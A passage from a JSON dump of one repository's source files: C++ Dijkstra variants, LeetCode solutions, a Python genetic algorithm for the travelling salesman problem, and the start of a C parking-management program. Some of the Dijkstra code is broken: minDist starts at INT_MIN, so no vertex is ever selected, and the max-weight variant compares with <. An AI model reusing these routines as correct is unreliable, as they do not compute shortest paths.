{\\r\\n u = j;\\r\\n minDist = dist[j];\\r\\n }\\r\\n }\\r\\n \\r\\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记 visit[u]为 true\\r\\n if(u == -1) return;\\r\\n visit[u] = true;\\r\\n\\r\\n // （4）.在更新 dist[] 的同时，更新 cost[]\\r\\n for(int k = 0;k < MAX;k++)\\r\\n {\\r\\n if(!visit[k] && Graph[u][k] != INT_MAX)\\r\\n {\\r\\n if(dist[u] + Graph[u][k] < dist[k]) // 先找最短距离\\r\\n {\\r\\n dist[k] = dist[u] + Graph[u][k];\\r\\n cost[k] = cost[u] + C[u][k];\\r\\n } \\r\\n else if(dist[u] + Graph[u][k] == dist[k] && cost[u] + C[u][k] < cost[k]){ // 是最短距离，但开销更小/大\\r\\n cost[k] = cost[u] + C[u][k];\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n}\\r\\n\\r\\n/* 附加条件：如果对每个点都增加点权，球最短路径有多条时，要求点权之和最大\\r\\n与上面的边权类似，依然对（3）修改，增加一个 W[MAX],每次在更新最短距离时更新 weight[]\\r\\n\\r\\n*/\\r\\n\\r\\nint W[MAX];\\r\\nint weight[MAX];\\r\\n\\r\\nvoid dijkstra_4(int start)\\r\\n{\\r\\n // （1）初始化 dist[] \\r\\n fill(dist,dist+MAX,INT_MAX);\\r\\n dist[start] = 0;\\r\\n\\r\\n // （2）.找到dist[]中最小且没被访问过的点\\r\\n for(int i = 0; i < MAX;i++)\\r\\n {\\r\\n int u = -1, minDist = INT_MIN;\\r\\n for(int j = 0;j < MAX;j++)\\r\\n {\\r\\n if(!visit[j] && dist[j]<minDist)\\r\\n {\\r\\n u = j;\\r\\n minDist = dist[j];\\r\\n }\\r\\n }\\r\\n \\r\\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记 visit[u]为 true\\r\\n if(u == -1) return;\\r\\n visit[u] = true;\\r\\n\\r\\n // （4）.在更新 dist[] 的同时，更新 cost[]\\r\\n for(int k = 0;k < MAX;k++)\\r\\n {\\r\\n if(!visit[k] && Graph[u][k] != INT_MAX)\\r\\n {\\r\\n if(dist[u] + Graph[u][k] < dist[k]) // 先找最短距离\\r\\n {\\r\\n dist[k] = dist[u] + Graph[u][k];\\r\\n weight[k] = weight[u] + W[k];\\r\\n } \\r\\n else if(dist[u] + Graph[u][k] == dist[k] && weight[u] + W[k] < weight[k]){ // 是最短距离，但开销更小/大\\r\\n weight[k] = weight[u] + W[k];\\r\\n }\\r\\n }\\r\\n } \\r\\n } \\r\\n}\\r\\n\\r\\n/* 附加： 当最短路径不止一条，求最短路径条数\\r\\n增加一个记录 start-->u 的最短路径条数的数组 roadNum[MAX]\\r\\n初始条件下，roadNum[start]=1,其它为0；\\r\\n每次更新最短距离时，令 roadNum[k]继承 roadNum[u]；\\r\\n当最短距离相同，将 roadNum[u] 加到 roadNum[k]上\\r\\n\\r\\n修改的位置依旧是 （3）\\r\\n\\r\\n*/\\r\\n\\r\\nint roadNum[MAX];\\r\\n\\r\\nvoid dijkstra_5(int start)\\r\\n{\\r\\n // （1）初始化 dist[] ，roadNum[]\\r\\n fill(dist,dist+MAX,INT_MAX);\\r\\n fill(roadNum,roadNum+MAX,0);\\r\\n dist[start] = 0;\\r\\n roadNum[start] = 1;\\r\\n\\r\\n\\r\\n // （2）.找到dist[]中最小且没被访问过的点\\r\\n for(int i = 0; i < MAX;i++)\\r\\n {\\r\\n int u = -1, minDist = INT_MIN;\\r\\n for(int j = 0;j < MAX;j++)\\r\\n {\\r\\n if(!visit[j] && dist[j]<minDist)\\r\\n {\\r\\n u = j;\\r\\n minDist = dist[j];\\r\\n }\\r\\n }\\r\\n \\r\\n\\r\\n // （3）. 如果找不到更小的dist[]，说明不连通，如果找到，则标记 visit[u]为 true\\r\\n if(u == -1) return;\\r\\n visit[u] = true;\\r\\n\\r\\n // （4）.在判定计算最短距离后更新最短路径条数\\r\\n for(int k = 0;k < MAX;k++)\\r\\n {\\r\\n if(!visit[k] && Graph[u][k] != INT_MAX)\\r\\n {\\r\\n if(dist[u] + Graph[u][k] < dist[k])\\r\\n {\\r\\n dist[k] = dist[u] + Graph[u][k];\\r\\n roadNum[k] = roadNum[u];\\r\\n }\\r\\n else if(dist[u] + Graph[u][k] == dist[k])\\r\\n {\\r\\n roadNum[k] = roadNum[k] + roadNum[u];\\r\\n }\\r\\n }\\r\\n }\\r\\n }\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.4045138955116272,\n \"alphanum_fraction\": 0.4149305522441864,\n \"avg_line_length\": 23.130434036254883,\n \"blob_id\": \"464c735279187bfe7f19fa980532a30569e74a95\",\n \"content_id\": \"0ab36f214c9094317620621a94ef11484f06d70a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 588,\n \"license_type\": \"no_license\",\n \"max_line_length\": 61,\n \"num_lines\": 23,\n \"path\": \"/leetcode/leetcode14.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 14.最长公共子串\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n string longestCommonPrefix(vector<string>& strs) {\\r\\n if(strs.size() == 0) return \\\"\\\";\\r\\n string res = \\\"\\\", first = strs[0];\\r\\n char c;\\r\\n for(int i = 0;i < first.length();i++){\\r\\n c = first[i];\\r\\n for(int j = 1;j < strs.size();j++){\\r\\n if(i == strs[j].length() || strs[j][i] != c){\\r\\n return res;\\r\\n }\\r\\n }\\r\\n res += c;\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4541501998901367,\n \"alphanum_fraction\": 0.47648221254348755,\n \"avg_line_length\": 25.351350784301758,\n \"blob_id\": \"51a4edb2743f0c0e6d6d619781fe659ef3d3e9a1\",\n \"content_id\": \"cf0bfe46eab98ae23ba35954b7132d4f31fd562f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5463,\n \"license_type\": \"no_license\",\n \"max_line_length\": 116,\n \"num_lines\": 185,\n \"path\": \"/python/TSP_GA.py\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import numpy as np\\r\\nimport matplotlib.pyplot as plt\\r\\n\\r\\n\\r\\n# 个体类\\r\\nclass Indv:\\r\\n # 传入个体的基因\\r\\n def __init__(self, gene):\\r\\n self.gene = gene\\r\\n self.score = -1\\r\\n\\r\\n\\r\\nclass GA:\\r\\n def __init__(self, Pc, Pm, indvNums, scoreFunc, geneLength):\\r\\n '''\\r\\n :param Pc: 交叉概率\\r\\n :param Pm: 变异概率\\r\\n :param indvNums: 个体数量\\r\\n :param scoreFunc: 适应度函数\\r\\n :param geneLength: 基因长度\\r\\n '''\\r\\n self.Pc = Pc\\r\\n self.Pm = Pm\\r\\n self.indvNums = indvNums\\r\\n self.scoreFunc = scoreFunc\\r\\n self.geneLength = geneLength\\r\\n\\r\\n self.Groups = []\\r\\n self.t = 0\\r\\n self.Optimal = None\\r\\n self.crossNums = 0\\r\\n self.mutationNums = 0\\r\\n self.scoreSum = 0.0\\r\\n\\r\\n self.initialize()\\r\\n\\r\\n def initialize(self):\\r\\n self.Groups = []\\r\\n for i in range(self.indvNums):\\r\\n # 1. gene = [0,1,2...genelength]\\r\\n gene = [i for i in range(self.geneLength)]\\r\\n # 2. 打乱 gene\\r\\n np.random.shuffle(gene)\\r\\n # 3. 新个体\\r\\n indv = Indv(gene)\\r\\n self.Groups.append(indv)\\r\\n\\r\\n # 计算适应度\\r\\n def fitness(self):\\r\\n # 1. 初始化\\r\\n self.scoreSum = 0.0\\r\\n self.Optimal = self.Groups[0]\\r\\n for indv in self.Groups:\\r\\n # 2. 计算个体适应度\\r\\n indv.score = self.scoreFunc(indv)\\r\\n self.scoreSum += indv.score\\r\\n # 3. 更新最优个体\\r\\n if self.Optimal.score > indv.score:\\r\\n self.Optimal = indv\\r\\n\\r\\n # 交叉\\r\\n def cross(self, dad, mom):\\r\\n son, position = [], 0\\r\\n # 1. 确定交叉片段位置\\r\\n index1 = np.random.randint(0, self.geneLength - 1)\\r\\n index2 = np.random.randint(0, self.geneLength - 1)\\r\\n segment = mom.gene[index1: index2]\\r\\n for x in dad.gene:\\r\\n # 2. 到达交叉起点\\r\\n if position == index1:\\r\\n son.extend(segment)\\r\\n position += 1\\r\\n # 3. 其它情况，直接将基因插入子代 gene\\r\\n if x not in son:\\r\\n son.append(x)\\r\\n position += 1\\r\\n self.crossNums += 1\\r\\n return son\\r\\n\\r\\n # 变异\\r\\n def mutation(self, gene):\\r\\n son = gene[:]\\r\\n # 1. 确定变异点\\r\\n index1 = np.random.randint(0, self.geneLength - 1)\\r\\n index2 = np.random.randint(0, self.geneLength - 1)\\r\\n # 2. 交换两点基因\\r\\n son[index1], son[index2] = son[index2], son[index1]\\r\\n self.mutationNums += 1\\r\\n return son\\r\\n\\r\\n # 选择\\r\\n def select(self):\\r\\n # 1. 利用总适应度选择\\r\\n s = np.random.uniform(0, self.scoreSum)\\r\\n for indv in self.Groups:\\r\\n s -= indv.score\\r\\n if s <= 0:\\r\\n return indv\\r\\n raise Exception(\\\"Error\\\", self.scoreSum)\\r\\n\\r\\n # 产生新子代\\r\\n def generate(self):\\r\\n dad = self.select()\\r\\n # 1. 交叉\\r\\n P = np.random.random()\\r\\n if P < self.Pc:\\r\\n mom = self.select()\\r\\n gene = self.cross(dad, mom)\\r\\n else:\\r\\n gene = dad.gene\\r\\n # 2. 变异\\r\\n P = np.random.random()\\r\\n if P < self.Pm:\\r\\n gene = self.mutation(gene)\\r\\n return Indv(gene)\\r\\n\\r\\n # 产生新种群\\r\\n def evolve(self):\\r\\n # 1. 计算适应度\\r\\n self.fitness()\\r\\n # 2. 新一代\\r\\n groups = [self.Optimal]\\r\\n # 3. 产生新子代\\r\\n while len(groups) < self.indvNums:\\r\\n groups.append(self.generate())\\r\\n # 4. 更新种群\\r\\n self.Groups = groups\\r\\n self.t += 1\\r\\n\\r\\n\\r\\nclass TSP:\\r\\n def __init__(self, indvNums):\\r\\n self.indvNums = indvNums\\r\\n self.initialize()\\r\\n self.ga = GA(Pc=0.7, Pm=0.1, indvNums=self.indvNums, geneLength=len(self.sites), scoreFunc=self.scoreFunc())\\r\\n\\r\\n # 初始化\\r\\n def initialize(self):\\r\\n self.sites = []\\r\\n # 随机生成点\\r\\n for i in range(100):\\r\\n x = np.random.randint(0, 200)\\r\\n y = np.random.randint(0, 200)\\r\\n self.sites.append((x, y))\\r\\n\\r\\n # 计算某基因（路径）的总距离\\r\\n # 适应度函数\\r\\n def distance(self, gene):\\r\\n dist = 0.0\\r\\n for i in range(-1, len(self.sites) - 1):\\r\\n index1, index2 = gene[i], gene[i + 1]\\r\\n site1, site2 = self.sites[index1], self.sites[index2]\\r\\n # 欧式距离\\r\\n dist += np.sqrt(pow(site1[0] - site2[0], 2) + pow(site1[1] - site2[1], 2))\\r\\n return dist / 1000\\r\\n\\r\\n def scoreFunc(self):\\r\\n return lambda indv: self.distance(indv.gene)\\r\\n\\r\\n # 运行函数\\r\\n def run(self, T=0):\\r\\n res, n = [], 0\\r\\n # 1. 判断终止条件\\r\\n while n < T:\\r\\n # 2. 生成新种群\\r\\n self.ga.evolve()\\r\\n # 3. 计算当前迭代最优结果\\r\\n dist = self.distance(self.ga.Optimal.gene)\\r\\n print(f'{self.ga.t} : {round(dist, 5)}')\\r\\n res.append(dist)\\r\\n n += 1\\r\\n self.display(res, T)\\r\\n\\r\\n # 结果可视化\\r\\n def display(self, res, T):\\r\\n plt.plot(range(T), res, color='lightcoral')\\r\\n plt.title(\\\"iteration - score\\\", color='r')\\r\\n plt.xlabel(\\\"iteration\\\")\\r\\n plt.ylabel(\\\"score ×10^3\\\")\\r\\n plt.show()\\r\\n\\r\\n\\r\\nif __name__ == \\\"__main__\\\":\\r\\n tsp = TSP(100)\\r\\n tsp.run(500)\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.3672390878200531,\n \"alphanum_fraction\": 0.4095112383365631,\n \"avg_line_length\": 26.11111068725586,\n \"blob_id\": \"525150fd7544595c014023d1e274e9a323da41af\",\n \"content_id\": \"7888d61cbd8e4e16be7498bcecbfde41a97fea02\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 771,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 27,\n \"path\": \"/leetcode/leetcode16_10.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 面试题 16.10. 生存人数\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int maxAliveYear(vector<int>& birth, vector<int>& death) {\\r\\n int live[101] = {0};\\r\\n int MAX_year = 0, MAX_nums = 0;\\r\\n\\r\\n for (int i = 0; i < birth.size(); i++)\\r\\n {\\r\\n int start = birth[i], end = death[i];\\r\\n for(int j = start-1900;j <= end-1900;j++){\\r\\n live[j] += 1;\\r\\n if(live[j] > MAX_nums){\\r\\n MAX_year = j + 1900;\\r\\n MAX_nums = live[j];\\r\\n } else if(live[j] == MAX_nums && j+1900 < MAX_year){\\r\\n MAX_year = j + 1900;\\r\\n }\\r\\n }\\r\\n }\\r\\n return MAX_year;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.44312795996665955,\n \"alphanum_fraction\": 0.4620853066444397,\n \"avg_line_length\": 21.55555534362793,\n \"blob_id\": \"4b925bb4eba036cfe42971b537d3457ab6f1947e\",\n \"content_id\": \"57854e7f66640a28f0d73457bdae14f22cc96966\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 436,\n \"license_type\": \"no_license\",\n \"max_line_length\": 79,\n \"num_lines\": 18,\n \"path\": \"/leetcode/leetcode1800.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 1800. 最大升序子数组\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int maxAscendingSum(vector<int>& nums) {\\r\\n int p = 0, res = 0;\\r\\n while (p < nums.size()){\\r\\n int temp = nums[p];\\r\\n while (p < nums.size()-1 && nums[p+1] > nums[p]) temp += nums[++p];\\r\\n res = max(res, temp);\\r\\n p++;\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.2758132815361023,\n \"alphanum_fraction\": 0.2927864193916321,\n \"avg_line_length\": 24.259260177612305,\n \"blob_id\": \"2226d821d5317ffacd92a73d1335c34f560e98ed\",\n \"content_id\": \"045570a219a5c583dff8f2d7b9b35678212e2077\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 719,\n \"license_type\": \"no_license\",\n \"max_line_length\": 62,\n \"num_lines\": 27,\n \"path\": \"/leetcode/leetcode1576.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 1576.替换所有问号\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n string modifyString(string s) {\\r\\n char a = 'a';\\r\\n for(int i = 0; i < s.length(); i++){\\r\\n if(s[i] == '?'){\\r\\n int k = 0;\\r\\n if(i == 0){\\r\\n while (a+k == s[i+1]) k++;\\r\\n s[i] = a + k;\\r\\n } else if(i == s.length()-1){\\r\\n while (a+k == s[i-1]) k++;\\r\\n s[i] = a + k;\\r\\n } else {\\r\\n while(a+k == s[i-1] || a+k == s[i+1]) k++;\\r\\n s[i] = a + k;\\r\\n }\\r\\n }\\r\\n }\\r\\n return s;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4261796176433563,\n \"alphanum_fraction\": 0.4292237460613251,\n \"avg_line_length\": 23.269229888916016,\n \"blob_id\": \"ba9aecbb6ffb7de84f78578ddc7ef41acb316ce7\",\n \"content_id\": \"40b9b516856045a5ee266e88f2c5a794941ef49b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 677,\n \"license_type\": \"no_license\",\n \"max_line_length\": 57,\n \"num_lines\": 26,\n \"path\": \"/leetcode/leetcode1.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 1.两数之和\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n vector<int> twoSum(vector<int>& nums, int target) {\\r\\n map<int, int> mp; // first是值，second是索引\\r\\n vector<int> res;\\r\\n int pair;\\r\\n for (int i = 0; i < nums.size(); i++)\\r\\n {\\r\\n pair = target - nums[i];\\r\\n map<int, int>::iterator iter = mp.find(pair);\\r\\n if(iter != mp.end()){\\r\\n res.push_back(iter->second);\\r\\n res.push_back(i);\\r\\n break;\\r\\n } else {\\r\\n mp[nums[i]] = i;\\r\\n }\\r\\n }\\r\\n return res;\\r\\n }\\r\\n};\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.38494935631752014,\n \"alphanum_fraction\": 0.40086829662323,\n \"avg_line_length\": 22.75,\n \"blob_id\": \"e74cdd13d96c1e7e23cd27d6bb32f873bd5a6431\",\n \"content_id\": \"2510fa7ba3bf0cc386baf27be7eeeab50a995462\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 699,\n \"license_type\": \"no_license\",\n \"max_line_length\": 57,\n \"num_lines\": 28,\n \"path\": \"/leetcode/leetcode1447.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 1447.最简分数\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n vector<string> simplifiedFractions(int n) {\\r\\n vector<string> vec;\\r\\n if(n == 1) return vec;\\r\\n string temp;\\r\\n for(int i = 2;i <= n;i++){\\r\\n for(int j = 1;j < i;j++){\\r\\n if(j == 1 || check(j, i)){\\r\\n temp = to_string(j)+'/'+to_string(i);\\r\\n vec.push_back(temp);\\r\\n }\\r\\n }\\r\\n }\\r\\n return vec;\\r\\n }\\r\\n bool check(int a, int b){\\r\\n for(int i = 2;i <= a;i++){\\r\\n if(a % i == 0 && b % i == 0) return false;\\r\\n }\\r\\n return true;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.3242603540420532,\n \"alphanum_fraction\": 0.35384616255760193,\n \"avg_line_length\": 19.174999237060547,\n \"blob_id\": \"f6600897445003d5af3cc8a217a28f4c836e4a0d\",\n \"content_id\": \"5890affa91840d03705feaf94d231d806aba1d04\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 859,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 40,\n \"path\": \"/leetcode/leetcode13.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<bits/stdc++.h>\\r\\nusing namespace std;\\r\\n\\r\\n// LeetCode 13.罗马数字转整数\\r\\n\\r\\nclass Solution {\\r\\npublic:\\r\\n int romanToInt(string s) {\\r\\n int res = 0;\\r\\n for(int i = s.size()-1; i >= 0; i--){\\r\\n if(i != 0 && values(s[i]) > values(s[i-1])){\\r\\n res += (values(s[i]) - values(s[i-1]));\\r\\n i--;\\r\\n } else {\\r\\n res += values(s[i]);\\r\\n }\\r\\n }\\r\\n return res;\\r\\n }\\r\\n\\r\\n int values(char c) {\\r\\n switch (c){\\r\\n case 'I':\\r\\n return 1;\\r\\n case 'V':\\r\\n return 5;\\r\\n case 'X':\\r\\n return 10;\\r\\n case 'L':\\r\\n return 50;\\r\\n case 'C':\\r\\n return 100;\\r\\n case 'D':\\r\\n return 500;\\r\\n case 'M':\\r\\n return 1000;\\r\\n }\\r\\n return 0;\\r\\n }\\r\\n};\"\n },\n {\n \"alpha_fraction\": 0.4258679747581482,\n \"alphanum_fraction\": 0.46061599254608154,\n \"avg_line_length\": 19.92751693725586,\n \"blob_id\": \"3a05376e14e3dd81ec5d177a11cf7c64172d4fbc\",\n \"content_id\": \"a5ce1f5e263e22532a2c38c7f1dbce2a442c4e7b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 39281,\n \"license_type\": \"no_license\",\n \"max_line_length\": 161,\n \"num_lines\": 1559,\n \"path\": \"/C/双学位C语言/Cpp1.cpp\",\n \"repo_name\": \"MoMiJ1/Fungus\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#include<stdio.h>\\r\\n#include<cstring>\\r\\n#include<stdlib.h>\\r\\n#include<ctype.h>\\r\\n#include<math.h>\\r\\n#include <algorithm>\\r\\n#define MAX 1000\\r\\n//**************************************** paramster\\r\\nstruct USER // 定义用户结构体\\r\\n{\\r\\n\\tchar id[7]; // 用户编号\\r\\n\\tchar card[5]; // 卡类型\\r\\n\\tlong valid; //有效期/次数\\r\\n\\tchar carid1[7]; //车牌号1\\r\\n\\tchar carid2[7]; //车牌号2\\r\\n\\tchar car1in[13]; //车1入场时间\\r\\n\\tchar car2in[13]; //车2入场时间\\r\\n}user[MAX];\\r\\n\\r\\n//定义月份数组，用于计算天数\\r\\nint month[13][2]={{0,0},{31,31},{28,29},{31,31},{30,30},{31,31},{30,30},{31,31},{31,31},{30,30},{31,31},{30,30},{31,31}};\\r\\n//**************************************** function\\r\\nvoid showmenu();\\r\\nvoid save(int);\\r\\nvoid creat();\\r\\nvoid display();\\r\\nvoid add();\\r\\nvoid modify();\\r\\nvoid carin();\\r\\nvoid carout();\\r\\nvoid sort();\\r\\n//**************************************** main function\\r\\nint main()\\r\\n{\\r\\n\\tint select,flag,e;\\r\\n\\tshowmenu();\\r\\n\\tprintf(\\\"请输入您要进行的操作：\\\");\\r\\n\\tscanf(\\\"%d\\\",&select);\\r\\n\\tprintf(\\\"\\\\n\\\"); \\r\\n\\tdo\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//指令选择\\r\\n\\t{\\r\\n\\t\\tif(select>=1&&select<=8)\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=0;\\r\\n\\t\\t\\tprintf(\\\"input error.choose again.\\\\n\\\");\\r\\n\\t\\t}\\r\\n\\t}while(!flag);\\r\\n\\twhile(flag) //指令执行\\r\\n\\t{ \\r\\n\\t\\tswitch(select)\\r\\n\\t\\t{\\r\\n\\t\\tcase 1:\\r\\n\\t\\t\\tprintf(\\\"创建记录会导致原有记录全部清空，确定继续操作吗(1/0)？\\\");\\r\\n\\t\\t\\tscanf(\\\"%d\\\",&e);\\r\\n\\t\\t\\tif(e==1){\\r\\n\\t\\t\\t\\tcreat();\\r\\n\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\telse\\r\\n\\t\\t\\t\\tbreak;\\r\\n\\t\\tcase 2:\\r\\n\\t\\t\\tadd();\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t\\tcase 3:\\r\\n\\t\\t\\tdisplay();\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tcase 4:\\r\\n\\t\\t\\tcarin();\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tcase 5:\\r\\n\\t\\t\\tcarout();\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tcase 6:\\r\\n\\t\\t\\tmodify();\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tcase 7:\\r\\n\\t\\t\\tsort();\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tcase 8:\\r\\n\\t\\t\\texit(0); //exit(0):程序正常运行并退出 \\r\\n\\t\\t\\tbreak;\\r\\n\\t\\tdefault:break;\\r\\n\\t\\t};\\r\\n\\t\\tprintf(\\\"\\\\n\\\");\\r\\n\\t\\tprintf(\\\"是否继续操作?(1/0):\\\");\\r\\n\\t\\tscanf(\\\"%d\\\",&e);\\r\\n\\t\\tif(e==1)\\r\\n\\t\\t{\\r\\n\\t\\t\\tflag=1;\\r\\n\\t\\t\\tsystem(\\\"cls\\\");\\r\\n\\t\\t\\tshowmenu();\\r\\n\\t\\t\\tprintf(\\\"请输入您要进行的操作： \\\");\\r\\n\\t\\t\\tscanf(\\\"%d\\\",&select);\\r\\n\\t\\t\\tprintf(\\\"\\\\n\\\");\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t\\tflag=0;\\r\\n\\t};\\r\\n\\tprintf(\\\"*****感谢您的使用。*****\\\\n\\\");\\r\\n\\tprintf(\\\"\\\\n\\\");\\r\\n\\treturn 0;\\r\\n};\\r\\n//**************************************** functions \\r\\n\\r\\nvoid showmenu() //指令菜单\\r\\n{\\r\\n\\tprintf( \\\"====== 校园车辆管理系统 ======\\\\n\\\" );\\r\\n\\tprintf(\\\"======\\\\t1、创建记录\\\\t======\\\\n\\\");\\r\\n\\tprintf(\\\"======\\\\t2、添加记录\\\\t======\\\\n\\\");\\r\\n\\tprintf(\\\"======\\\\t3、浏览记录\\\\t======\\\\n\\\");\\r\\n\\tprintf (\\\"======\\\\t4、车辆进入\\\\t======\\\\n\\\");\\r\\n\\tprintf (\\\"======\\\\t5、车辆离开\\\\t======\\\\n\\\");\\r\\n\\tprintf(\\\"======\\\\t6、修改记录\\\\t======\\\\n\\\");\\r\\n\\tprintf (\\\"======\\\\t7、排序显示\\\\t======\\\\n\\\");\\r\\n\\tprintf (\\\"======\\\\t8、离开系统\\\\t======\\\\n\\\");\\r\\n\\tprintf (\\\"==============================\\\\n\\\") ;\\r\\n\\tprintf(\\\"如要退出系统，请保存信息！\\\\n\\\");\\r\\n};\\r\\n\\r\\nvoid save(int m){ //保存信息\\r\\n\\tint i;\\r\\n\\tFILE* fp;\\r\\n\\tif((fp=fopen(\\\"car.txt\\\",\\\"wb\\\"))==NULL)\\r\\n\\t{\\r\\n\\t\\tprintf(\\\"cannot open file\\\\n\\\");\\r\\n\\t\\texit(0);\\r\\n\\t}\\r\\n\\tfor(i=0;i<m;i++)\\t\\r\\n\\t\\tif(fwrite(&user[i],sizeof(struct USER),1,fp)!=1)\\r\\n\\t\\t\\tprintf(\\\"file write error\\\\n\\\");\\r\\n\\tfclose(fp);\\t\\r\\n}\\r\\n\\r\\nint load(){ //载入信息\\r\\n\\tFILE* fp;\\r\\n\\tint i=0;\\r\\n\\tif((fp=fopen(\\\"car.txt\\\",\\\"rb\\\"))==NULL)\\r\\n\\t{\\r\\n\\t\\tprintf(\\\"cannot open file\\\\n\\\");\\r\\n\\t\\texit(0);\\r\\n\\t}\\r\\n\\telse\\r\\n\\t{\\r\\n\\t\\tdo\\r\\n\\t\\t{\\r\\n\\t\\t\\tfread(&user[i],sizeof(struct USER),1,fp);\\r\\n\\t\\t\\ti++;\\r\\n\\t\\t}\\r\\n\\t\\twhile(feof(fp)==0);\\r\\n\\t}\\r\\n\\tfclose(fp);\\r\\n\\treturn(i-1);\\r\\n};\\r\\n\\r\\nbool isFull(){ // 判断是否已满\\r\\n int m = load();\\r\\n if (m == MAX) {return true;}\\r\\n return false;\\r\\n}\\r\\n\\r\\nvoid display(){ //展示信息\\r\\n\\tint i;\\r\\n\\tint m=load();\\r\\n\\tfor(i=0;i<m;i++)\\r\\n\\t\\tprintf(\\\"\\\\t%s\\\\t,\\\\t%s\\\\t,\\\\t%d\\\\t,\\\\t%s\\\\t,\\\\t%s\\\\t,\\\\t%s\\\\t,\\\\t%s\\\\t\\\\n\\\",user[i].id,user[i].card,user[i].valid,user[i].carid1,user[i].carid2,user[i].car1in,user[i].car2in);\\r\\n};\\t\\t\\t\\r\\n\\r\\nvoid creat() //创建新信息数据\\r\\n{\\r\\n\\tint i,j,m,flag,k;\\r\\n\\tchar uid[7],cid1[7],cid2[7],today[7],va[7],tcard[5];\\r\\n\\tlong time,v;\\r\\n\\tdo\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//判断输入是否符合要求：位数，数字\\r\\n\\t{\\r\\n\\t\\tflag=1;\\r\\n\\t\\tprintf(\\\"请输入今日日期(例190212): \\\");\\r\\n\\t\\tscanf(\\\"%s\\\",&today);\\r\\n\\t\\tif(strlen(today)!=6)\\r\\n\\t\\t\\tflag=0;\\r\\n\\t\\tfor(k=0;today[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\tif(isdigit(today[k])==0) // 判断日期格式是否为数字：isdigit\\r\\n\\t\\t\\t\\tflag=0;\\r\\n\\t}while(!flag);\\r\\n\\ttime=atol(today); //将时间转化为数字形式:atol\\r\\n\\r\\n\\tdo \\r\\n\\t{\\r\\n printf(\\\"输入创建用户数(1000以内)：\\\");\\r\\n scanf(\\\"%d\\\", &m);\\r\\n 